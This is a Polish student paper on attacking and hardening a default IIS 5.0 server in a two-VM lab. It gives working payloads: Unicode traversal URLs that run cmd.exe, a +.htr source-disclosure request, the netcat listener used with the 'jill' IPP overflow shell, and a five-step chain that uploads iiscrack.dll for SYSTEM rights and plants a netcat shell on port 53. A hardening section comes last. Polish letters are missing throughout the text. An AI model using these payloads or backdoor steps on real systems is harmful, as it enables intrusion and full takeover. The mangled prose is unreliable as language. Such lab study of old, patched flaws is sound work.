IIS 5.0 – bł dy i luki

w serwerze WWW

W pracy omówione zostan sposoby jakimi mo e posłu y si intruz zamierzaj cy włama
si do serwera IIS, by zmieni zawarto umieszczonych na nim stron lub całkowicie przej
kontrol na systemem. Pokazane zostan tak e metody zabezpieczenia serwera przed
atakiem.

Pakiet oprogramowania Internet Information Services (IIS) jest doł czony do systemu

operacyjnego Windows. Jego podstawowym zadaniem jest pełnienie funkcji serwera WWW,
ponadto oferuje równie mo liwo uruchomienia serwerów FTP, SMTP, NNTP oraz proxy.

IIS jest popularnym serwerem mi dzy innymi ze wzgl du na prostot konfiguracji. Po

zainstalowaniu składników serwera nie trzeba wiele wysiłku, eby uruchomi serwis WWW. Z
punktu widzenia u ytkowników niezajmuj cych si systemami komputerowymi ani
bezpiecze stwem, jest to du a zaleta. Jest to jednak równie du a zaleta dla intruzów.

Wi kszo u ytkowników poprzestaje na podstawowej instalacji IIS, nie staraj c si

dodatkowo zabezpieczy serwera. Zwykle wi c serwer IIS działa z domy ln konfiguracj , co
sprawia e jest on cz stym celem ataków.

W eksperymentach korzysta b d z dwóch wirtualnych maszyn. Na jednej z nich

zainstalowany jest system operacyjny

Windows 2000 Professional

oraz pakiet IIS 5.0 z

domy lnymi ustawieniami (IP:

192.168.239.130

) – komputer b d cy ofiar ataków. Druga

maszyna działa pod systemem

Mandrake Linux 10.1

(IP:

192.168.239.131

) – komputer

intruza.

J

AK ROZPOZNA SERWER

IIS

Aby rozpocz atak na serwer IIS intruz musi si najpierw upewni , e jego celem

jest rzeczywi cie serwer IIS. Jednym ze sposobów w jaki mo e to zrobi jest tzw. badanie
banerów.

Proces pobierania strony z serwera polega na wysyłaniu

da (od klienta do

serwera) i otrzymaniu odpowiedzi (od serwera do klienta). W skład odpowiedzi serwera
wchodzi zawarto strony oraz nagłówki HTTP. Domy lnie skonfigurowany serwer IIS bez
wahania ujawnia swoj to samo , wysyłaj c nast puj cy nagłówek:

Server: Microsoft-IIS/5.0

Technik t mo na zastosowa poprzez poł czenie si z portem 80 serwera i wysłanie
odpowiedniego ci gu znaków jako danie, a nast pnie odczytanie nagłówków otrzymanej
odpowiedzi.

Do nawi zania poł czenia TCP z okre lonym portem danego serwera mo na

posłu y si narz dziem

netcat

. [

http://netcat.sourceforge.net/

]

Po zainicjowaniu poł czenia poleceniem

nc 192.168.239.130 80

wpisujemy danie:

GET / HTTP/1.0

, a nast pnie pusty wiersz. W odpowiedzi od serwera widzimy zapis:

Server: Microsoft-IIS/5.0

.

Oznacza to, e na komputerze 192.168.239.130 jest

uruchomiony IIS w wersji 5.0.
Przykład zastosowania tej metody został pokazany na rysunku poni ej.

Chc c zabezpieczy serwer przed identyfikacj poprzez badanie banera, powinni my

zmieni tre odpowiedzi banera. Nie jest to proste, poniewa w serwerze IIS 5.0 tre
banera jest na stałe zapisana w kodzie programu. Mo na jednak skorzysta z narz dzia
UrlScan. W pliku konfiguracyjnym urlscan.ini zmieniamy wpis

RemoveServerHeader=0

na

RemoveServerHeader=1

Po wprowadzeniu tej zmiany z nagłówków odpowiedzi znika informacja o typie

serwera.
Wi cej

o

UrlScan

na

stronie:

[

https://www.microsoft.com/poland/technet/security/tools/urlscan.mspx

]

Po sprawdzeniu, e mamy do czynienia z serwerem IIS, rozpoczynamy testowanie,

na jakie metody ataku jest on podatny.

P

RZEGL DANIE SYSTEMU PLIKÓW

Ataki zwane przegl danie systemu plików (ang. filesystem traversal) umo liwiaj

odczytywanie plików znajduj cych si na serwerze, a niekiedy nawet zdalne wykonywanie
polece .

Idea jest prosta – korzystaj c z tradycyjnej sztuczki

../

mo emy uzyska dost p do

dowolnego pliku na serwerze, a nawet wykonywa polecenia (uruchamiaj c cmd.exe).

Symbol

../

u ywany jest w URL-u w podobny sposób jak podczas zmiany bie cego

katalogu w wierszu polece .
Przykład: Je li jeste my w katalogu c:\temp\katalog, to po wywołaniu polecenia

cd..

znajdziemy si stopie wy ej, czyli w katalogu c:\temp.
W przypadku URL sytuacja wygl da analogicznie. Umieszczaj c

../

w daniu wysłanym

do serwera, intruz b dzie mógł porusza si po drzewie katalogów serwera.
Gdyby my wysłali nast puj ce danie:

http://192.168.239.130/dokumenty/2004/info.html

w odpowiedzi otrzymaliby my plik \dokumenty\2004\info.html z głównego katalogu serwera
WWW.

Je li

głównym

katalogiem

jest

c:\inetpub,

otrzymaliby my

plik

c:\inetpub\dokumenty\2004\info.html. Je li natomiast wysłaliby my danie:

http://192.168.239.130/dokumenty/2004/../2003/info.html

otrzymaliby my plik c:\inetpub\dokumenty\2003\info.html. Umieszczaj c symbol dwóch
kropek spowodowali my zmian katalogu z 2004 na katalog nadrz dny dokumenty,
nast pnie dostali my si do katalogu 2003, sk d za dali my pliku info.html.

W obu przypadkach nie przekroczyli my naszych praw. Odczytali my plik znajduj cy

si w c:\inetpub. Co jednak stałoby si gdyby my chcieli odczyta plik:

http://192.168.239.130/../plik.txt

W tej sytuacji dwie kropki przenosz z katalogu c:\inetpub do katalogu nadrz dnego c:\, w
którym znajduje si plik plik.txt. Je li faktycznie udałoby si nam odczyta ten plik,

oznaczałoby to, e uzyskali my dost p do informacji nie udost pnionych dla u ytkowników
serwera WWW. Ponadto, gdyby my tylko znali struktur katalogów serwera, mogliby my
dosta si do ka dego pliku. Przyjrzyjmy si kilku przykładom.

Przegl danie systemu plików za pomoc Unicode

Zasadniczo IIS 5.0 nie jest podatny na sztuczki z wykorzystaniem symbolu

../

-

przed wysłaniem pliku klientowi serwer sprawdza, czy w cie ce dost pu nie wyst puje ci g

../

mog cy spowodowa wyj cie z głównego katalogu. Interesuj ca sytuacja ma miejsce,

gdy w cie ce wyst puj znaki Unicode. W takim przypadku IIS najwyra niej sprawdza

cie k przed dekodowaniem tych znaków. Oznacza to, e po odebraniu dania:

http://192.168.239.130/..%c0%afplik.txt

IIS w pierwszej kolejno ci sprawdza, czy danie nie zawiera podejrzanego symbolu

../.

Nast pnie dekoduje znaki Unicode. Ci g %c0%af odpowiada znakowi

/

w Unicode, tak wi c

danie przetwarzane jest do nast puj cej postaci:

http://192.168.239.130/../plik.txt

co oznacza, e IIS dostarczy nam plik c:\plik.txt.

Wykorzystuj c t luk jeste my w stanie uzyska dost p do dowolnego pliku na

serwerze, pod warunkiem, e znamy cie k dost pu do niego. Dost p uzyskamy z
uprawnieniami konta IUSR_NAZWAKOMPUTERA, gdzie NAZWAKOMPUTERA jest
netbiosow nazw serwera. To konto jest wykorzystywane do anonimowego dost pu z sieci
do serwera WWW. Standardowo nale y ono do grupy Go cie (Local Guests) na serwerze.
Uprawnienia tego konta przyznawane s anonimowym u ytkownikom serwera WWW.
Poza kontem IUSR_NAZWAKOMPUTERA, mamy jeszcze konto SYSTEM (LocalSystem).
Jest ono wykorzystywane przez system operacyjny do uruchamiania programów i
sterowników. Nie jest kontem u ytkownika. Konto to ma nieograniczony dost p do systemu
operacyjnego. Je li intruzowi udałoby si przej kontrol nad tym kontem, mógłby zrobi z
systemem praktycznie wszystko.

Załó my e znamy lokalizacj pliku, do którego chcemy uzyska dost p. Aby wysła

danie mo emy skorzysta z przegl darki lub wysła

danie HTTP bezpo rednio, za

pomoc programu netcat. W pierwszym przypadku wpisujemy je w polu adresu przegl darki,
w drugim natomiast post pujemy podobnie jak przy badaniu banerów, tj. wpisuj c:

nc 192.168.239.130 80

GET /..%c0%afplik.txt

Je li plik, którego dotyczy

danie, jest plikiem wykonywalnym, uzyskujemy

dodatkowe mo liwo ci. Je li znajduj si on w katalogu wirtualnym, w którym u ytkownik
IUSR_NAZWAKOMUTERA ma prawo wykonywania (na przykład /scripts), wówczas zostanie
wykonany, a wynik zostanie zwrócony przez serwer.

Mo emy ponadto oszuka serwer, by uznał, e plik znajduje si w katalogu z prawem

wykonywania nawet, je li faktycznie jest inaczej. Wykorzystuj c ponownie sztuczk z
dwiema kropkami wchodzimy do katalogu /scripts, po czym wychodzimy do katalogu
nadrz dnego i podajemy cie k dost pu do pliku w innym katalogu.

Przykład:

http://192.168.239.130/scripts/..%c0%af../winnt/system32/cmd.exe

Serwer IIS b dzie s dził, e plik znajduje si w katalogu scripts – cie ka jest analizowana
zanim ci g ..%c0%af.. zostanie zdekodowany do postaci ../.. . Serwer nie wie zatem, e po
wej ciu do katalogu scripts przechodzimy dwa poziomy wy ej i próbujemy uzyska dost p
do /winnt/system32/cmd.exe.

Warto wiedzie , e do wywoływanego pliku mo emy przekazywa argumenty,

posługuj c si znakiem

?.

Przykład:
Chc c wypisa zawarto katalogu c:\ wysyłamy nast puj ce danie:

http://192.168.239.130/scripts/..%c0%af../winnt/system32/cmd.exe?/c+

dir+c:\

danie mo emy wysła za pomoc przegl darki lub programu netcat

Luka przegl dania systemu plików została poprawiona w Windows 2000 Service Pack 3.

A

TAKI PRZEZ PRZEPEŁNIENIE BUFORA

Atak przez przepełnienie bufora, w skrócie, polega na przekazaniu programowi zbyt du ej
ilo ci danych, powoduj c wykonanie przygotowanego przez intruza kodu, który w
normalnych okoliczno ciach nie miałby prawa zosta wykonany. Dodatkowy kod trafia do
innego obszaru pami ci i wskutek bł du w programie, który niewła ciwie sprawdza rozmiar
danych wej ciowych, zostaje wykonany z uprawnieniami takimi samymi, jak wadliwy
program.

Poniewa IIS działa na koncie SYSTEM, które w Windows ma nieograniczon

władz , przepełnienie bufora nale y uwa a za najbardziej niebezpieczny rodzaj ataku, na
jaki nara ony jest serwer IIS.

Przepełnienie bufora IPP

Luka ta wyst puje w filtrze ISAPI .printer, którego zadaniem jest obsługa protokołu

Internet Printing Protocol (IPP). Sama technologia ISAPI (Internet Services Application
Programming Interface) umo liwia rozszerzanie funkcjonalno ci serwera WWW poprzez
doł czanie do niego kodu implementuj cego dodatkowe usługi.

Filtr ISAPI .printer jest domy lnie instalowany na serwerze. Bł d mo na wykorzysta

wysyłaj c ci g około 420 bajtów w nagłówku wysłanym w

daniu ISAPI .printer. Po

otrzymaniu takiego

dania w IIS dochodzi do przepełnienia bufora i serwer przestaje

działa . Jednak Windows 2000 automatycznie uruchamia IIS ponownie zaraz po awarii, co
ma na celu zapewnienie jak najwi kszej niezawodno ci usług sieciowych. W efekcie kod
umieszczony w buforze zostaje wykonany.

Luk wykorzystuje exploit zwany

jill

[

http://packetstormsecurity.org

], którego autorem

jest dark spirit z beavuh.org. Exploit powoduje przepełnienie bufora w serwerze IIS i
uruchamia na zdalnej maszynie powłok , do której dost p mo e uzyska intruz ł cz c si z
portem o wybranym numerze.

Intruz rozpoczyna od nasłuchiwania na wybranym porcie TCP (np. 2006), za pomoc

takiego narz dzia jak netcat:

nc –vv –l –p 2006

W drugim oknie polece intruz uruchamia exploita, podaj c mu jako parametry: IP

ofiary, IP maszyny nasłuchuj cej oraz numer portu, na którym ma zosta udost pniona
powłoka.
Intruz jeszcze tylko musi wcisn [Enter] w okienku nasłuchiwania by poł czy si z
powłok . Nast pnie mo e wywoływa dowolne polecenia z uprawnieniami konta SYSTEM.

Bł d został naprawiony w Windows 2000 SP3.

U

JAWNIANIE KODU RÓDŁOWEGO

Gdy klient wysyła do serwera danie otworzenia strony HTML, serwer bezpo rednio

odsyła mu jej zawarto . Kiedy

danie dotyczy strony zrealizowanej w ASP lub PHP,

wówczas w pierwszej kolejno ci serwer wykonuje kod zawarty w skrypcie, a potem wysyła
wyniki klientowi. W ten sposób klient nie ma dost pu do kodu ródłowego strony (skryptu),
któr ogl da. Ten fakt jest niekiedy wykorzystywany przez programistów, którzy umieszczaj
w kodzie stron poufne informacje, jak cho by nazwy u ytkowników i hasła.
Przykładowo, logowanie u ytkownika mo e wygl da nast puj co:

if ( $username==”admin”) && ($passwd==”secret77”) )

{

$logged_in=1;

}

W normalnych okoliczno ciach takie rozwi zanie nie jest niebezpieczne, poniewa

u ytkownik nie mo e zobaczy tre ci kodu ródłowego. Je li jednak znalazłby luk w
serwerze IIS umo liwiaj c podgl d kodu stron, wówczas hasło zostałoby ujawnione.

Luka +.htr

HTR jest jedn z pierwszych zaawansowanych technik skryptowych, jakie weszły w

skład serwera IIS 2.0. Obecnie najcz ciej spotykanym zastosowaniem mechanizmu HTR
jest zestaw skryptów doł czonych standardowo do serwera IIS. Ich zadaniem jest
umo liwienie dost pu do haseł Windows NT przez serwer WWW. U ytkownicy mog za
pomoc tych skryptów zmienia swoje hasła, natomiast administratorzy mog
wykorzystywa je w zarz dzaniu hasłami.

Gdy klient wysyła danie pliku .htr jest ono przekazywane do biblioteki ISM.DLL,

która wskutek bł du zwraca zawarto pliku. W ten sposób intruz mo e odczyta tre pliku
.htr.

Ten sam bł d mo e by wykorzystany do odczytania zawarto ci pliku .asp.

Wybieramy cie k dost pu do dowolnego pliku .asp:

http://192.168.239.130/global.asa

i dodajemy do niej +.htr:

http://192.168.239.130/global.asa+.htr

Gdy serwer IIS analizuje otrzymane danie, zwraca uwag na ko cowy ci g znaków .htr,
wi c post puje tak samo jak w przypadku dowolnego pliku .htr – przekazuje danie do
biblioteki ISM.DLL. ISM.DLL usuwa ze cie ki przyrostek +.htr i pokazuje zawarto pliku
/global.asa.

W podobny sposób mo na post pi z plikami .asp i .ini. Jednak odczytana zostanie

tre ródła pliku tylko do pierwszego wyst pienia ci gu

<%

- znaczniki

<%

i

%>

s

ogranicznikami skryptów wykonywanych po stronie serwera.

Chc c odczyta plik global.asa, intruz musi jedynie uruchomi program netcat i

wpisa

danie

GET /global.asa+.htr.

Oczywi cie mo e równie skorzysta z

przegl darki i wpisa nast puj cy adres:

http://192.168.239.130/global.asa+.htr

Dost p do poufnych informacji (na przykład nazwy u ytkownika i hasła) mo e

znacz co ułatwi intruzowi włamanie do systemu. Najskuteczniejsz ochron przed
ujawnieniem ukrytych informacji jest przestrzeganie zasad bezpiecznego programowania w
kodzie ASP.
Luka została naprawiona w Windows 2000 SP3.

Z

WI KSZANIE UPRAWNIE

Intruz, który zdołał wedrze si do systemu i uruchomi powłok z uprawnieniami

konta SYSTEM ma prawie nieograniczone mo liwo ci. Jednak nawet, gdy intruz dysponuje
jedynie uprawnieniami konta anonimowego lub nieuprzywilejowanego, mo e dokona
zniszcze w systemie lub nawet przej uprawnienia konta SYSTEM.

Jak kopiowa pliki na system ofiary

Gdy jeste my zalogowani lokalnie do komputera z systemem Windows, mo emy

łatwo przekierowywa wyniki wykonywanego polecenia stosuj c symbol

>.

Przykładowo, je li wydamy nast puj ce polecenie:

dir c:\ > dirc.txt

wyniki polecenia trafi do pliku dirc.txt.

Metody tej nie mo na jednak stosowa w przypadku polece wykonywanych za

po rednictwem cmd.exe ze wzgl du na ograniczenia przekierowa w serwerze IIS, chyba,

e zmienimy nazw cmd.exe. Dlatego te pierwsz rzecz , jak robi intruz, jest skopiowanie

pliku cmd.exe do katalogu /scripts (podstawowe ustawienia bezpiecze stwa Windows 2000
daj u ytkownikowi nale cemu do grupy Wszyscy (Everyone) pełn kontrol nad tym
katalogiem). Intruz wpisuje w przegl darce nast puj cy adres:

http://192.168.239.130/scripts/..%c0%af../winnt/system32/cmd.exe?+/c

+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmdx.exe

Kopia cmd.exe została umieszczona w katalogu /scripts, zatem intruz nie b dzie

musiał wykonywa adnych sztuczek z przechodzeniem do innego katalogu, by uzyska do
niej dost p. Łatwiej b dzie mu wydawa polecenia w systemie ofiary.

Jak tworzy pliki w systemie ofiary

Wydaj c polecenie w rodzaju

echo > plik

, intruz ma mo liwo tworzenia nowych

plików w zdalnym systemie za pomoc przegl darki, w której wpisuje adres:

http://192.168.239.130/scripts/cmdx.exe?+/c+echo+zawartosc+pliku+>+n

owy.txt

Spowoduje to utworzenie pliku nowy.txt w katalogu /scripts.

A

TAK NA SERWER

IIS

–

ANALIZA KROK PO KROKU

Przeanalizujmy teraz szczegółowy opis ataku na serwer IIS. Zobaczymy, jak serwer

IIS ze standardowymi zabezpieczeniami, bez jakichkolwiek uaktualnie czy łat, pada ofiar
intruza, który w pi ciu krokach zdobywa w systemie uprawnienia konta SYSTEM.

Krok 1 – poszukiwanie luk

Najpierw intruz sprawdza, czy system jest podatny na atak Unicode.

Wygl da na to, e system jest podatny, poniewa udało si odczyta list plików w

katalogu c:\.

Krok 2 – przygotowanie do umieszczenia plików na serwerze

Chc c kontynuowa atak, intruz musi umie ci na serwerze kilka plików. Mo na tu

skorzysta ze skryptu perla

unicodeloader

[

http://packetstormsecurity.org/

] – narz dzia,

które umo liwia przesyłanie plików za po rednictwem wygodnego interfejsu.

Skrypt unicodeloader umieszcza na serwerze plik pomocniczy, który intruz otwiera

(wpisuj c okre lony adres), otrzymuj c stron z formularzem słu cym do przesyłania plików
z komputera lokalnego na serwer.
Wywoływany jest nast puj co:

unicodeloader IP:port katalogwww

Jako

katalogwww

podajemy

nazw

katalogu,

w

którym

u ytkownik

IUSR_NAZWAKOMPUTERA mo e wykonywa pliki. Jak zd yli my si przekona , warunek
ten spełnia katalog c:\inetpub\scripts.

Intruz mo e od tej pory przesyła pliki na serwer korzystaj c ze strony upload.asp.

Krok 3 – umieszczenie plików na serwerze

Po

wpisaniu

w

przegl darce

adresu

http://192.168.239.130/scripts/upload.asp

, intruz b dzie mógł za pomoc kilku

klikni umieszcza pliki w katalogu wirtualnym /scripts.

W kolejnym kroku intruz umieszcza na serwerze pliki niezb dne do przeprowadzenia

dalszej cz ci ataku. B dzie mu potrzebny plik, który umo liwi przej cie uprawnie konta

SYSTEM. W tym celu wykorzystana zostanie luka znana jako RevertToSelf w bibliotece DLL
ISAPI. Luka wyst puje w mechanizmie InProcessIsapiApps, umo liwiaj cym omijanie
zabezpiecze aplikacji przy u yciu wywoła RevertToSelf w DLL ISAPI. W uproszczeniu,
wywołanie RevertToSelf spowoduje, e bie cy w tek zmieni swój kontekst bezpiecze stwa
z uprawnie IUSR_NAZWAKOMPUTERA na uprawnienia konta, z którego prawami działa
IIS (inetinfo.exe) czyli SYSTEM.

HD

Moore

z

digitaloffence.net

udost pnia

plik

iiscrack.dll

[

http://metasploit.com/users/hdm/tools/

], który wykorzystuje omówion luk i umo liwia

wykonywanie dowolnych polece z uprawnieniami konta SYSTEM.

By zastosowa exploit nale y zmieni nazw tego pliku na nazw okre lon w kluczu

Metabazy IIS/LM/W3SVC/InProcessIsapiApps. Intruz musi zatem jedynie otworzy stron
upload.asp i umie ci na serwerze plik o nazwie zmienionej na httpodbc.dll.
Wspomniany bł d został naprawiony w Windows 2000 SP3.

Nast pnym punktem planu intruza jest przygotowanie tylnej furtki w systemie ofiary.

Intruz

mo e

zastosowa

program

netcat

(wersja

dla

Windows)

[

http://www.vulnwatch.org/netcat/

], który mo e umie ci na serwerze korzystaj c ze strony

upload.asp.

Krok 4 – uruchomienie tylnej furtki z uprawnieniami konta SYSTEM

Aby wywoła httpodbc.dll w katalogu wirtualnym /scripts, intruz po prostu wpisuje w

przegl darce adres:

http://192.168.239.130/scripts/httpodbc.dll

Uzyskuje w ten sposób dost p do strony, na której znajduje si pole tekstowe umo liwiaj ce
wydawanie polece . Wpisane polecenie zostanie wykonane z uprawnieniami konta
SYSTEM.

Podczas testowania, okazało si , e nie do ko ca działa to poprawnie. Przy wydaniu
polecenia:

c:\winnt\system32\cmd.exe /c

pojawiał si nast puj cy bł d

Wystarczyło jednak w adresie

http://192.168.239.130/scripts/httpodbc.dll?MfcISAPICommand=Exploit&

cmd=c%3A%5Cwinnt%5Csystem32%5Ccmd.exe+%2Fc&submitter=execute

skasowa ostatni człon:

&submitter=execute

co sprawiło, e exploit zadziałał.

Intruz wydaje wi c nast puj ce polecenie:

c:\inetpub\scripts\nc –l –p 53 –e cmd.exe

I tak jak wcze niej kasuje ostatni człon w adresie, tj.

&submitter=execute

W efekcie zobaczy on stron z potwierdzeniem poprawnego wykonania polecenia.

Uruchamia ono powłok dost pn przez port TCP o numerze 53. Wybór numeru

portu ma znacznie, poniewa gdyby atakowany serwer znajdował si za firewallem, istnieje
spora szansa na to, e b dzie on akceptował poł czenia AXFR DNS (port TCP 53).

Krok 5 – ostateczny cios

Intruzowi pozostaje jedynie poł czy si z powłok , któr uruchomił. Mo e w tym celu

wykorzysta program netcat.

J

AK POPRAWI BEZPIECZE STWO

Oto kilka metod post powania słu cych poprawie poziomu bezpiecze stwa serwera

IIS, których stosowanie znacznie ograniczy ryzyko włamania.

1. Na wst pie kilka wa nych wskazówek odno nie instalacji:

o

przygotujmy oddzieln partycj lub oddzielny dysk dla zawarto ci stron WWW

– udaremni to wi kszo z omówionych ataków. Narz dzia słu ce do
włamywania si na serwery IIS zakładaj zwykle, e strony WWW s
przechowywane w standardowych katalogach.

o

partycja systemowa oraz partycja zawieraj ca strony WWW powinny by

partycjami NTFS. Pozwala to w wi kszym stopniu kontrolowa ustawienia
bezpiecze stwa, korzystaj c z list kontroli dost pu (ang. Access Control List -
ACL).

o

instalujmy najnowsze pakiety uaktualnie i łaty.

2. Usu my z serwera przykładowe aplikacje i katalogi. Przykłady nie s do niczego

potrzebne na pracuj cym serwerze. Post pujmy według zasady: je li co nie jest
nam potrzebne, usu my to.

3. Wył czmy wszystkie zb dne usługi, szczególnie serwer telnetu, je li z niego nie

korzystamy.

4. Powinni my ponadto rozwa y podział plików udost pnianych na stronach pomi dzy

odr bne katalogi.

5. IIS jest wst pnie skonfigurowany tak, by obsługiwa podstawowe typy plików, takie

jak .asp i .shtm. Gdy serwer odbiera danie dotycz ce jednego z takich plików, jest
ono obsługiwane przez bibliotek DLL. Je li obsługa niektórych plików nie jest nam
potrzebna, usu my ich mapowania, post puj c zgodnie z poni sz instrukcj :

o

otwieramy Menad era usług internetowych (Internet services manager),

o

klikamy prawym przyciskiem na nazw serwera, wybieramy z menu

Wła ciwo ci (Properties),

o

wła ciwo ci główne (Master Properties),

o

wybieramy Usługa WWW->Edytuj->Katalog macierzysty->Konfiguracja

(WWW Service->Edit->HomeDirectory->Configuration).

Bibliografia:
- Magazyn „Hakin9” nr 4/2004
- „Wykrywanie, analiza i przeciwdziałanie atakom hackerów w Checz Point Firewall-1 NG
[

www.clico.pl

]

- strony www wymienione w pracy